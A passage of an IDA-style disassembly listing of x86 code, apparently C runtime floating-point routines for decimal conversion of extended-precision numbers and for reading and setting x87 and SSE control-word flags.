		lea	esi, [ebp+var_28]
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_48], edx

loc_41CAF0:				; CODE XREF: sub_41C5C1+572j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_48]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		and	[ebp+var_44], 0
		imul	edx, esi
		mov	esi, [eax-4]
		lea	ebx, [esi+edx]
		cmp	ebx, esi
		jb	short loc_41CB11
		cmp	ebx, edx
		jnb	short loc_41CB18

loc_41CB11:				; CODE XREF: sub_41C5C1+54Aj
		mov	[ebp+var_44], 1

loc_41CB18:				; CODE XREF: sub_41C5C1+54Ej
		cmp	[ebp+var_44], 0
		mov	[eax-4], ebx
		jz	short loc_41CB24
		inc	word ptr [eax]

loc_41CB24:				; CODE XREF: sub_41C5C1+55Ej
		add	[ebp+var_48], 2
		sub	[ebp+var_5C], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41CAF0

loc_41CB35:				; CODE XREF: sub_41C5C1+520j
		inc	eax
		inc	eax
		inc	[ebp+var_54]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		jg	short loc_41CAD4
		add	edi, 0C002h
		xor	eax, eax
		cmp	di, ax
		jle	short loc_41CB8C

loc_41CB50:				; CODE XREF: sub_41C5C1+5C4j
		test	[ebp+var_8], 80000000h
		jnz	short loc_41CB87
		mov	edx, [ebp+var_10]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	ebx, ebx
		or	ebx, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	edi, 0FFFFh
		cmp	di, ax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], edx
		jg	short loc_41CB50

loc_41CB87:				; CODE XREF: sub_41C5C1+596j
		cmp	di, ax
		jg	short loc_41CBDB

loc_41CB8C:				; CODE XREF: sub_41C5C1+58Dj
		add	edi, 0FFFFh
		cmp	di, ax
		jge	short loc_41CBDB
		mov	eax, edi
		neg	eax
		movzx	eax, ax
		add	edi, eax

loc_41CBA0:				; CODE XREF: sub_41C5C1+60Cj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41CBA9
		inc	[ebp+var_58]

loc_41CBA9:				; CODE XREF: sub_41C5C1+5E3j
		mov	edx, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	ebx, 1
		or	ebx, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], edx
		jnz	short loc_41CBA0
		xor	eax, eax
		cmp	[ebp+var_58], eax
		jz	short loc_41CBDB
		or	word ptr [ebp+var_10], 1

loc_41CBDB:				; CODE XREF: sub_41C5C1+5C9j
					; sub_41C5C1+5D4j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_41CBF4
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_41CC25

loc_41CBF4:				; CODE XREF: sub_41C5C1+620j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41CC22
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		mov	[ebp+var_10+2],	eax
		jnz	short loc_41CC1D
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		mov	[ebp+var_C+2], eax
		jnz	short loc_41CC17
		mov	word ptr [ebp+var_8+2],	8000h
		inc	edi
		jmp	short loc_41CC25
; ---------------------------------------------------------------------------

loc_41CC17:				; CODE XREF: sub_41C5C1+64Bj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41CC25
; ---------------------------------------------------------------------------

loc_41CC1D:				; CODE XREF: sub_41C5C1+640j
		inc	[ebp+var_C+2]
		jmp	short loc_41CC25
; ---------------------------------------------------------------------------

loc_41CC22:				; CODE XREF: sub_41C5C1+637j
		inc	[ebp+var_10+2]

loc_41CC25:				; CODE XREF: sub_41C5C1+631j
					; sub_41C5C1+654j ...
		cmp	di, 7FFFh
		jb	short loc_41CC4A
		neg	cx
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_41CC46:				; CODE XREF: sub_41C5C1+6A3j
		xor	eax, eax
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC4A:				; CODE XREF: sub_41C5C1+669j
		mov	ax, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20+2],	eax
		mov	eax, [ebp+var_8]
		or	edi, ecx
		mov	[ebp+var_1A], eax
		mov	word ptr [ebp+var_16], di
		jmp	short loc_41CC46
; ---------------------------------------------------------------------------

loc_41CC66:				; CODE XREF: sub_41C5C1+4A1j
					; sub_41C5C1+4AAj ...
		neg	cx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_41CC7A:				; CODE XREF: sub_41C5C1+4C5j
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax

loc_41CC80:				; CODE XREF: sub_41C5C1+46Fj
					; sub_41C5C1+4E7j ...
		test	[ebp+arg_10], 1
		mov	edx, [ebp+var_60]
		mov	ecx, [ebp+var_4C]
		mov	[edx], cx
		jz	short loc_41CCC1
		movsx	ecx, cx
		add	[ebp+arg_C], ecx
		cmp	[ebp+arg_C], eax
		jg	short loc_41CCC1
		and	word ptr [edx],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [edx+3], 1
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[edx+2], al
		mov	byte ptr [edx+4], 30h
		mov	byte ptr [edx+5], 0
		jmp	loc_41C670
; ---------------------------------------------------------------------------

loc_41CCC1:				; CODE XREF: sub_41C5C1+6CCj
					; sub_41C5C1+6D7j
		push	15h
		pop	ecx
		cmp	[ebp+arg_C], ecx
		jle	short loc_41CCCC
		mov	[ebp+arg_C], ecx

loc_41CCCC:				; CODE XREF: sub_41C5C1+706j
		mov	esi, [ebp+var_1A+2]
		shr	esi, 10h
		push	8
		sub	esi, 3FFEh
		mov	word ptr [ebp+var_16], ax
		pop	ebx

loc_41CCDF:				; CODE XREF: sub_41C5C1+742j
		mov	eax, [ebp+var_20]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shl	[ebp+var_20], 1
		shr	eax, 1Fh
		add	edi, edi
		or	edi, eax
		mov	eax, [ebp+var_1A+2]
		shr	ecx, 1Fh
		add	eax, eax
		or	eax, ecx
		dec	ebx
		mov	[ebp-1Ch], edi
		mov	[ebp+var_1A+2],	eax
		jnz	short loc_41CCDF
		test	esi, esi
		jge	short loc_41CD3B
		neg	esi
		and	esi, 0FFh
		jle	short loc_41CD3B

loc_41CD13:				; CODE XREF: sub_41C5C1+778j
		mov	eax, [ebp+var_1A+2]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shr	[ebp+var_1A+2],	1
		shl	eax, 1Fh
		shr	edi, 1
		or	edi, eax
		mov	eax, [ebp+var_20]
		shl	ecx, 1Fh
		shr	eax, 1
		or	eax, ecx
		dec	esi
		test	esi, esi
		mov	[ebp-1Ch], edi
		mov	[ebp+var_20], eax
		jg	short loc_41CD13

loc_41CD3B:				; CODE XREF: sub_41C5C1+746j
					; sub_41C5C1+750j
		mov	eax, [ebp+arg_C]
		inc	eax
		test	eax, eax
		lea	ebx, [edx+4]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_4C], eax
		jle	loc_41CE05

loc_41CD50:				; CODE XREF: sub_41C5C1+83Ej
		mov	edx, [ebp+var_20]
		mov	eax, [ebp-1Ch]
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		movsd
		shl	[ebp+var_20], 1
		mov	edi, [ebp+var_20]
		shl	[ebp+var_20], 1
		shr	edx, 1Fh
		lea	ecx, [eax+eax]
		or	ecx, edx
		mov	edx, [ebp+var_1A+2]
		mov	esi, eax
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		mov	eax, ecx
		lea	esi, [ecx+ecx]
		shr	eax, 1Fh
		lea	ecx, [edx+edx]
		mov	edx, [ebp+var_3C]
		shr	edi, 1Fh
		or	ecx, eax
		mov	eax, [ebp+var_20]
		or	esi, edi
		lea	edi, [edx+eax]
		cmp	edi, eax
		jb	short loc_41CD9F
		cmp	edi, edx
		jnb	short loc_41CDB7

loc_41CD9F:				; CODE XREF: sub_41C5C1+7D8j
		lea	eax, [esi+1]
		xor	edx, edx
		cmp	eax, esi
		jb	short loc_41CDAD
		cmp	eax, 1
		jnb	short loc_41CDB0

loc_41CDAD:				; CODE XREF: sub_41C5C1+7E5j
		xor	edx, edx
		inc	edx

loc_41CDB0:				; CODE XREF: sub_41C5C1+7EAj
		test	edx, edx
		mov	esi, eax
		jz	short loc_41CDB7
		inc	ecx

loc_41CDB7:				; CODE XREF: sub_41C5C1+7DCj
					; sub_41C5C1+7F3j
		mov	eax, [ebp+var_38]
		lea	edx, [eax+esi]
		cmp	edx, esi
		mov	[ebp+var_44], edx
		jb	short loc_41CDC8
		cmp	edx, eax
		jnb	short loc_41CDC9

loc_41CDC8:				; CODE XREF: sub_41C5C1+801j
		inc	ecx

loc_41CDC9:				; CODE XREF: sub_41C5C1+805j
		add	ecx, [ebp+var_34]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		lea	esi, [edi+edi]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+var_44]
		mov	[ebp+var_1A+2],	ecx
		shr	ecx, 18h
		add	esi, esi
		add	cl, 30h
		mov	eax, edi
		shr	eax, 1Fh
		or	esi, eax
		mov	[ebx], cl
		inc	ebx
		dec	[ebp+var_4C]
		cmp	[ebp+var_4C], 0
		mov	[ebp-1Ch], esi
		mov	byte ptr [ebp+var_16+1], 0
		jg	loc_41CD50

loc_41CE05:				; CODE XREF: sub_41C5C1+789j
		dec	ebx
		mov	al, [ebx]
		dec	ebx
		cmp	al, 35h
		jge	short loc_41CE1B
		mov	ecx, [ebp+var_40]
		jmp	short loc_41CE56
; ---------------------------------------------------------------------------

loc_41CE12:				; CODE XREF: sub_41C5C1+85Dj
		cmp	byte ptr [ebx],	39h
		jnz	short loc_41CE20
		mov	byte ptr [ebx],	30h
		dec	ebx

loc_41CE1B:				; CODE XREF: sub_41C5C1+84Aj
		cmp	ebx, [ebp+var_40]
		jnb	short loc_41CE12

loc_41CE20:				; CODE XREF: sub_41C5C1+854j
		cmp	ebx, [ebp+var_40]
		mov	eax, [ebp+var_60]
		jnb	short loc_41CE2C
		inc	ebx
		inc	word ptr [eax]

loc_41CE2C:				; CODE XREF: sub_41C5C1+865j
		inc	byte ptr [ebx]

loc_41CE2E:				; CODE XREF: sub_41C5C1+89Ej
		sub	bl, al
		sub	bl, 3
		movsx	ecx, bl
		mov	[eax+3], bl
		mov	byte ptr [ecx+eax+4], 0
		mov	eax, [ebp+var_74]

loc_41CE41:				; CODE XREF: sub_41C5C1+B2j
					; sub_41C5C1+15Bj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CE50:				; CODE XREF: sub_41C5C1+897j
		cmp	byte ptr [ebx],	30h
		jnz	short loc_41CE5A
		dec	ebx

loc_41CE56:				; CODE XREF: sub_41C5C1+84Fj
		cmp	ebx, ecx
		jnb	short loc_41CE50

loc_41CE5A:				; CODE XREF: sub_41C5C1+892j
		cmp	ebx, ecx
		mov	eax, [ebp+var_60]
		jnb	short loc_41CE2E
		and	word ptr [eax],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [eax+3], 1
		setnz	dl
		dec	dl
		and	dl, 0Dh
		add	dl, 20h
		mov	[eax+2], dl
		mov	byte ptr [ecx],	30h
		mov	byte ptr [eax+5], 0
		jmp	loc_41C670
sub_41C5C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE89	proc near		; CODE XREF: sub_41CFB7+C0p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_41CE91
		inc	eax

loc_41CE91:				; CODE XREF: sub_41CE89+5j
		test	bl, 8
		jz	short loc_41CE99
		or	eax, 4

loc_41CE99:				; CODE XREF: sub_41CE89+Bj
		test	bl, 4
		jz	short loc_41CEA1
		or	eax, 8

loc_41CEA1:				; CODE XREF: sub_41CE89+13j
		test	bl, 2
		jz	short loc_41CEA9
		or	eax, 10h

loc_41CEA9:				; CODE XREF: sub_41CE89+1Bj
		test	bl, 1
		jz	short loc_41CEB1
		or	eax, 20h

loc_41CEB1:				; CODE XREF: sub_41CE89+23j
		test	ebx, 80000h
		jz	short loc_41CEBC
		or	eax, 2

loc_41CEBC:				; CODE XREF: sub_41CE89+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_41CEF0
		cmp	ecx, 100h
		jz	short loc_41CEEB
		cmp	ecx, esi
		jz	short loc_41CEE4
		cmp	ecx, edx
		jnz	short loc_41CEF0
		or	eax, 0C00h
		jmp	short loc_41CEF0
; ---------------------------------------------------------------------------

loc_41CEE4:				; CODE XREF: sub_41CE89+4Ej
		or	eax, 800h
		jmp	short loc_41CEF0
; ---------------------------------------------------------------------------

loc_41CEEB:				; CODE XREF: sub_41CE89+4Aj
		or	eax, 400h

loc_41CEF0:				; CODE XREF: sub_41CE89+42j
					; sub_41CE89+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41CF06
		cmp	ecx, 10000h
		jnz	short loc_41CF08
		or	eax, esi
		jmp	short loc_41CF08
; ---------------------------------------------------------------------------

loc_41CF06:				; CODE XREF: sub_41CE89+6Fj
		or	eax, edx

loc_41CF08:				; CODE XREF: sub_41CE89+77j
					; sub_41CE89+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_41CF16
		or	eax, 1000h

locret_41CF16:				; CODE XREF: sub_41CE89+86j
		retn
sub_41CE89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF17	proc near		; CODE XREF: sub_41CFB7:loc_41D1F0p
		xor	eax, eax
		test	dl, 10h
		jz	short loc_41CF23
		mov	eax, 80h

loc_41CF23:				; CODE XREF: sub_41CF17+5j
		test	dl, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, 200h
		jz	short loc_41CF32
		or	eax, ebx

loc_41CF32:				; CODE XREF: sub_41CF17+17j
		test	dl, 4
		jz	short loc_41CF3C
		or	eax, 400h

loc_41CF3C:				; CODE XREF: sub_41CF17+1Ej
		test	dl, 2
		jz	short loc_41CF46
		or	eax, 800h

loc_41CF46:				; CODE XREF: sub_41CF17+28j
		test	dl, 1
		jz	short loc_41CF50
		or	eax, 1000h

loc_41CF50:				; CODE XREF: sub_41CF17+32j
		test	edx, 80000h
		mov	edi, 100h
		jz	short loc_41CF5F
		or	eax, edi

loc_41CF5F:				; CODE XREF: sub_41CF17+44j
		mov	ecx, edx
		mov	esi, 300h
		and	ecx, esi
		jz	short loc_41CF89
		cmp	ecx, edi
		jz	short loc_41CF84
		cmp	ecx, ebx
		jz	short loc_41CF7D
		cmp	ecx, esi
		jnz	short loc_41CF89
		or	eax, 6000h
		jmp	short loc_41CF89
; ---------------------------------------------------------------------------

loc_41CF7D:				; CODE XREF: sub_41CF17+59j
		or	eax, 4000h
		jmp	short loc_41CF89
; ---------------------------------------------------------------------------

loc_41CF84:				; CODE XREF: sub_41CF17+55j
		or	eax, 2000h

loc_41CF89:				; CODE XREF: sub_41CF17+51j
					; sub_41CF17+5Dj ...
		mov	ecx, 3000000h
		pop	edi
		and	edx, ecx
		cmp	edx, 1000000h
		pop	esi
		pop	ebx
		jz	short loc_41CFB1
		cmp	edx, 2000000h
		jz	short loc_41CFAD
		cmp	edx, ecx
		jnz	short locret_41CFB6
		or	eax, 8000h
		retn
; ---------------------------------------------------------------------------

loc_41CFAD:				; CODE XREF: sub_41CF17+8Aj
		or	eax, 40h
		retn
; ---------------------------------------------------------------------------

loc_41CFB1:				; CODE XREF: sub_41CF17+82j
		or	eax, 8040h

locret_41CFB6:				; CODE XREF: sub_41CF17+8Ej
		retn
sub_41CF17	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFB7	proc near		; CODE XREF: sub_41B40F+25p
					; sub_41B40F+55p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	ebp
		push	esi
		push	edi
		fstcw	word ptr [esp+20h+var_C]
		mov	ebx, [esp+20h+var_C]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41CFD1
		push	10h
		pop	edx

loc_41CFD1:				; CODE XREF: sub_41CFB7+15j
		test	bl, 4
		jz	short loc_41CFD9
		or	edx, 8

loc_41CFD9:				; CODE XREF: sub_41CFB7+1Dj
		test	bl, 8
		jz	short loc_41CFE1
		or	edx, 4

loc_41CFE1:				; CODE XREF: sub_41CFB7+25j
		test	bl, 10h
		jz	short loc_41CFE9
		or	edx, 2

loc_41CFE9:				; CODE XREF: sub_41CFB7+2Dj
		test	bl, 20h
		jz	short loc_41CFF1
		or	edx, 1

loc_41CFF1:				; CODE XREF: sub_41CFB7+35j
		test	bl, 2
		jz	short loc_41CFFC
		or	edx, 80000h

loc_41CFFC:				; CODE XREF: sub_41CFB7+3Dj
		movzx	ecx, bx
		mov	eax, ecx
		mov	edi, 0C00h
		and	eax, edi
		mov	ebp, 300h
		mov	esi, 200h
		jz	short loc_41D034
		cmp	eax, 400h
		jz	short loc_41D02E
		cmp	eax, 800h
		jz	short loc_41D02A
		cmp	eax, edi
		jnz	short loc_41D034
		or	edx, ebp
		jmp	short loc_41D034
; ---------------------------------------------------------------------------

loc_41D02A:				; CODE XREF: sub_41CFB7+69j
		or	edx, esi
		jmp	short loc_41D034
; ---------------------------------------------------------------------------

loc_41D02E:				; CODE XREF: sub_41CFB7+62j
		or	edx, 100h

loc_41D034:				; CODE XREF: sub_41CFB7+5Bj
					; sub_41CFB7+6Dj ...
		and	ecx, ebp
		jz	short loc_41D044
		cmp	ecx, esi
		jnz	short loc_41D04A
		or	edx, 10000h
		jmp	short loc_41D04A
; ---------------------------------------------------------------------------

loc_41D044:				; CODE XREF: sub_41CFB7+7Fj
		or	edx, 20000h

loc_41D04A:				; CODE XREF: sub_41CFB7+83j
					; sub_41CFB7+8Bj
		test	bx, 1000h
		jz	short loc_41D057
		or	edx, 40000h

loc_41D057:				; CODE XREF: sub_41CFB7+98j
		mov	esi, [esp+20h+arg_4]
		mov	ecx, [esp+20h+arg_0]
		mov	eax, esi
		not	eax
		and	eax, edx
		and	ecx, esi
		or	eax, ecx
		cmp	eax, edx
		mov	[esp+20h+var_4], eax
		jz	loc_41D11F
		mov	ebx, eax
		call	sub_41CE89
		movzx	eax, ax
		mov	[esp+20h+var_10], eax
		fldcw	word ptr [esp+20h+var_10]
		fstcw	word ptr [esp+20h+var_10]
		mov	ebx, [esp+20h+var_10]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41D09A
		push	10h
		pop	edx

loc_41D09A:				; CODE XREF: sub_41CFB7+DEj
		test	bl, 4
		jz	short loc_41D0A2
		or	edx, 8

loc_41D0A2:				; CODE XREF: sub_41CFB7+E6j
		test	bl, 8
		jz	short loc_41D0AA
		or	edx, 4

loc_41D0AA:				; CODE XREF: sub_41CFB7+EEj
		test	bl, 10h
		jz	short loc_41D0B2
		or	edx, 2

loc_41D0B2:				; CODE XREF: sub_41CFB7+F6j
		test	bl, 20h
		jz	short loc_41D0BA
		or	edx, 1

loc_41D0BA:				; CODE XREF: sub_41CFB7+FEj
		test	bl, 2
		jz	short loc_41D0C5
		or	edx, 80000h

loc_41D0C5:				; CODE XREF: sub_41CFB7+106j
		movzx	ecx, bx
		mov	eax, ecx
		and	eax, edi
		jz	short loc_41D0F2
		cmp	eax, 400h
		jz	short loc_41D0EC
		cmp	eax, 800h
		jz	short loc_41D0E4
		cmp	eax, edi
		jnz	short loc_41D0F2
		or	edx, ebp
		jmp	short loc_41D0F2
; ---------------------------------------------------------------------------

loc_41D0E4:				; CODE XREF: sub_41CFB7+123j
		or	edx, 200h
		jmp	short loc_41D0F2
; ---------------------------------------------------------------------------

loc_41D0EC:				; CODE XREF: sub_41CFB7+11Cj
		or	edx, 100h

loc_41D0F2:				; CODE XREF: sub_41CFB7+115j
					; sub_41CFB7+127j ...
		and	ecx, ebp
		jz	short loc_41D106
		cmp	ecx, 200h
		jnz	short loc_41D10C
		or	edx, 10000h
		jmp	short loc_41D10C
; ---------------------------------------------------------------------------

loc_41D106:				; CODE XREF: sub_41CFB7+13Dj
		or	edx, 20000h

loc_41D10C:				; CODE XREF: sub_41CFB7+145j
					; sub_41CFB7+14Dj
		test	bx, 1000h
		jz	short loc_41D119
		or	edx, 40000h

loc_41D119:				; CODE XREF: sub_41CFB7+15Aj
		mov	eax, edx
		mov	[esp+20h+var_4], edx

loc_41D11F:				; CODE XREF: sub_41CFB7+B8j
		cmp	dword_434D40, 0
		jz	loc_41D2B2
		and	esi, 308031Fh
		mov	edi, esi
		stmxcsr	[esp+20h+var_8]
		mov	eax, [esp+20h+var_8]
		xor	esi, esi
		test	al, al
		jns	short loc_41D146
		push	10h
		pop	esi

loc_41D146:				; CODE XREF: sub_41CFB7+18Aj
		test	ax, 200h
		jz	short loc_41D14F
		or	esi, 8

loc_41D14F:				; CODE XREF: sub_41CFB7+193j
		test	ax, 400h
		jz	short loc_41D158
		or	esi, 4

loc_41D158:				; CODE XREF: sub_41CFB7+19Cj
		test	ax, 800h
		jz	short loc_41D161
		or	esi, 2

loc_41D161:				; CODE XREF: sub_41CFB7+1A5j
		test	ax, 1000h
		jz	short loc_41D16A
		or	esi, 1

loc_41D16A:				; CODE XREF: sub_41CFB7+1AEj
		test	ax, 100h
		jz	short loc_41D176
		or	esi, 80000h

loc_41D176:				; CODE XREF: sub_41CFB7+1B7j
		mov	ecx, eax
		mov	ebp, 6000h
		and	ecx, ebp
		jz	short loc_41D1AB
		cmp	ecx, 2000h
		jz	short loc_41D1A5
		cmp	ecx, 4000h
		jz	short loc_41D19D
		cmp	ecx, ebp
		jnz	short loc_41D1AB
		or	esi, 300h
		jmp	short loc_41D1AB
; ---------------------------------------------------------------------------

loc_41D19D:				; CODE XREF: sub_41CFB7+1D8j
		or	esi, 200h
		jmp	short loc_41D1AB
; ---------------------------------------------------------------------------

loc_41D1A5:				; CODE XREF: sub_41CFB7+1D0j
		or	esi, 100h

loc_41D1AB:				; CODE XREF: sub_41CFB7+1C8j
					; sub_41CFB7+1DCj ...
		mov	ebx, 8040h
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_41D1D3
		sub	eax, 7FC0h
		jz	short loc_41D1CB
		sub	eax, 40h
		jnz	short loc_41D1D9
		or	esi, 1000000h
		jmp	short loc_41D1D9
; ---------------------------------------------------------------------------

loc_41D1CB:				; CODE XREF: sub_41CFB7+205j
		or	esi, 3000000h
		jmp	short loc_41D1D9
; ---------------------------------------------------------------------------

loc_41D1D3:				; CODE XREF: sub_41CFB7+1FEj
		or	esi, 2000000h

loc_41D1D9:				; CODE XREF: sub_41CFB7+20Aj
					; sub_41CFB7+212j ...
		mov	edx, edi
		and	edi, [esp+20h+arg_0]
		not	edx
		and	edx, esi
		or	edx, edi
		cmp	edx, esi
		jnz	short loc_41D1F0
		mov	eax, esi
		jmp	loc_41D29B
; ---------------------------------------------------------------------------

loc_41D1F0:				; CODE XREF: sub_41CFB7+230j
		call	sub_41CF17
		push	eax
		mov	[esp+24h+arg_4], eax
		call	sub_419BEE
		pop	ecx
		stmxcsr	[esp+20h+arg_4]
		mov	eax, [esp+20h+arg_4]
		xor	edx, edx
		test	al, al
		jns	short loc_41D212
		push	10h
		pop	edx

loc_41D212:				; CODE XREF: sub_41CFB7+256j
		mov	edi, 200h
		test	eax, edi
		jz	short loc_41D21E
		or	edx, 8

loc_41D21E:				; CODE XREF: sub_41CFB7+262j
		test	ax, 400h
		jz	short loc_41D227
		or	edx, 4

loc_41D227:				; CODE XREF: sub_41CFB7+26Bj
		test	ax, 800h
		jz	short loc_41D230
		or	edx, 2

loc_41D230:				; CODE XREF: sub_41CFB7+274j
		test	ax, 1000h
		jz	short loc_41D239
		or	edx, 1

loc_41D239:				; CODE XREF: sub_41CFB7+27Dj
		mov	esi, 100h
		test	eax, esi
		jz	short loc_41D248
		or	edx, 80000h

loc_41D248:				; CODE XREF: sub_41CFB7+289j
		mov	ecx, eax
		and	ecx, ebp
		jz	short loc_41D270
		cmp	ecx, 2000h
		jz	short loc_41D26E
		cmp	ecx, 4000h
		jz	short loc_41D26A
		cmp	ecx, ebp
		jnz	short loc_41D270
		or	edx, 300h
		jmp	short loc_41D270
; ---------------------------------------------------------------------------

loc_41D26A:				; CODE XREF: sub_41CFB7+2A5j
		or	edx, edi
		jmp	short loc_41D270
; ---------------------------------------------------------------------------

loc_41D26E:				; CODE XREF: sub_41CFB7+29Dj
		or	edx, esi

loc_41D270:				; CODE XREF: sub_41CFB7+295j
					; sub_41CFB7+2A9j ...
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_41D293
		sub	eax, 7FC0h
		jz	short loc_41D28B
		sub	eax, 40h
		jnz	short loc_41D299
		or	edx, 1000000h
		jmp	short loc_41D299
; ---------------------------------------------------------------------------

loc_41D28B:				; CODE XREF: sub_41CFB7+2C5j
		or	edx, 3000000h
		jmp	short loc_41D299
; ---------------------------------------------------------------------------

loc_41D293:				; CODE XREF: sub_41CFB7+2BEj
		or	edx, 2000000h

loc_41D299:				; CODE XREF: sub_41CFB7+2CAj
					; sub_41CFB7+2D2j ...
		mov	eax, edx

loc_41D29B:				; CODE XREF: sub_41CFB7+234j
		mov	ecx, [esp+20h+var_4]
		mov	edx, eax
		xor	edx, ecx
		or	eax, ecx
		test	edx, 8031Fh
		jz	short loc_41D2B2
		or	eax, 80000000h

loc_41D2B2:				; CODE XREF: sub_41CFB7+16Fj
					; sub_41CFB7+2F4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn
sub_41CFB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2BA	proc near		; CODE XREF: sub_41BEFD+326p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_4], esi
		push	edi
		mov	[ebp+var_18], 404Eh
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[eax+8], esi
		jbe	loc_41D430

loc_41D2EA:				; CODE XREF: sub_41D2BA+146j
		mov	edx, [eax]
		mov	ebx, [eax+4]
		mov	esi, eax
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ecx, edx
		shr	ecx, 1Fh
		lea	edi, [edx+edx]
		lea	edx, [ebx+ebx]
		or	edx, ecx
		mov	ecx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		add	ecx, ecx
		or	ecx, esi
		mov	[ebp+var_14], edi
		mov	esi, edi
		and	[ebp+var_14], 0
		mov	ebx, edx
		shr	ebx, 1Fh
		add	ecx, ecx
		shr	edi, 1Fh
		or	ecx, ebx
		mov	ebx, [ebp+var_10]
		add	esi, esi
		add	edx, edx
		or	edx, edi
		lea	edi, [esi+ebx]
		cmp	edi, esi
		mov	[eax], esi
		mov	[eax+4], edx
		mov	[eax+8], ecx
		jb	short loc_41D341
		cmp	edi, ebx
		jnb	short loc_41D348

loc_41D341:				; CODE XREF: sub_41D2BA+81j
		mov	[ebp+var_14], 1

loc_41D348:				; CODE XREF: sub_41D2BA+85j
		xor	ebx, ebx
		cmp	[ebp+var_14], ebx
		mov	[eax], edi
		jz	short loc_41D36B
		lea	esi, [edx+1]
		cmp	esi, edx
		jb	short loc_41D35D
		cmp	esi, 1
		jnb	short loc_41D360

loc_41D35D:				; CODE XREF: sub_41D2BA+9Cj
		xor	ebx, ebx
		inc	ebx

loc_41D360:				; CODE XREF: sub_41D2BA+A1j
		test	ebx, ebx
		mov	[eax+4], esi
		jz	short loc_41D36B
		inc	ecx
		mov	[eax+8], ecx

loc_41D36B:				; CODE XREF: sub_41D2BA+95j
					; sub_41D2BA+ABj
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		lea	ebx, [ecx+edx]
		xor	esi, esi
		cmp	ebx, ecx
		jb	short loc_41D37E
		cmp	ebx, edx
		jnb	short loc_41D381

loc_41D37E:				; CODE XREF: sub_41D2BA+BEj
		xor	esi, esi
		inc	esi

loc_41D381:				; CODE XREF: sub_41D2BA+C2j
		test	esi, esi
		mov	[eax+4], ebx
		jz	short loc_41D38B
		inc	dword ptr [eax+8]

loc_41D38B:				; CODE XREF: sub_41D2BA+CCj
		mov	ecx, [ebp+var_8]
		add	[eax+8], ecx
